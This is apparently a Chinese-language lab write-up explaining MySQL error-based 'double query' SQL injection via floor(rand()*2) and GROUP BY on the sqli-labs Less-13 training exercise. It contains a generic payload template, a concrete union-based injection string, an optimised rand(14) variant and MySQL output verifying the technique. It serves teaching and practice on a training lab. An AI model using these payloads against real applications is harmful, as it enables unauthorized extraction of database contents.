原理
原理是利用rand()*2重复计数和group by配合,导致临时表插入的主键重复以报错,不适用于表中只有2条数据以下的情况
标准payload:
//$$包含的是可变参数,[]内是可省略参数
$anything$ [前置参数闭合符号] [and|union] select count(*),concat(($payload$),floor(rand(0)*2)) as a from $table$ group by a [截断后置查询符号]
sqli-labs_Less13
只输入用户名admin时,POST数据为:
uname=admin&passwd=&submit=Submit
用户名处payload:
admin ') union select count(*),concat((database()),floor(rand(0)*2)) as a from information_schema.tables group by a %23
源代码是
SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1
- 从源码看出子查询前是一个字符串不能返回两个列,也就是此处不能用
and
连接(要实现的话语句会很麻烦),用union
查询比较合适
payload和过程分析
count(*)
计数,concat的是group by
的对象,按对象取数据计数时建一个两列的临时表,group by对象即为主键group by
和rand()
一起使用时,如果临时表中没有该主键,在插入前rand()
会再计算一次
concat函数会拼合成security0
或者security1
,由于此处floor函数生成的前六个数是固定的011011
,而在from表里取完数据并按group by的对象分组时,如果主键不存在临时表则会插入。
- 当从from表中取第一条记录的时候,此时group by的对象是concat函数聚合floor函数第一次计算值的
security0
,临时表中不存在此主键,将插入主键,但是注意,由于我们的语句是group by floor(rand(0)*2)
,所以插入的时候并不是直接插入security0
,而是floor(rand(0)*2)
,正是在这时候floor(rand(0)*2)
会再被计算一次,导致此时concat拼接出的是security1
,其被插入临时表中作为主键,并count(*)计1 - 接着从from表取第二条记录,group by分组的对象是以concat聚合floor计算的第三个值
security1
,临时表中已存在此主键,所以只需将其count(*)+1
- 接着取from表第三条记录,
group by
的对象是第四次计算的security0,很明显,开始重复步骤1,至将主键security1
插入临时表时,发现此主键已存在,于是报错主键重复
,并在报错信息中抛出重复的主键,此主键即我们payload查询的记录
以此达到双注入
优化payload
由注入过程可知,上面这种双注入的payload只适用于有三条记录及以上的表,倘若只有两条数据是不会报错的,但是同时从原理我们也可以考虑,是否可以利用从第二条记录开始就报错,恰好上述第二条记录其实对我们要的报错是没有任何作用的。
也就是说,如果rand()
可以生成1010
或者0101
这样的数值,那么从取第二条记录开始就会报错,参考大佬的试验,给出优化的payload:
floor(rand(14)*2)
验证payload
floor(rand(0)*2)
产生的前六个值011011
mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
+------------------+
13 rows in set (0.00 sec)
floor(rand(14)*2)
产生的前四个值1010
mysql> select floor(rand(14)*2) from users;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+-------------------+
13 rows in set (0.00 sec)
- 当
floor(rand(14)*2)
从表中取第一条数据时,向临时表插入原本不存在的主键key1
,当取第二条数据时,由于此时主键key0
不存在,将向临时表插入,且在插入前floor(rand(14)*2)
会再计算一次,得到一个插入表中的主键key1
,明显重复,故两条数据即报错。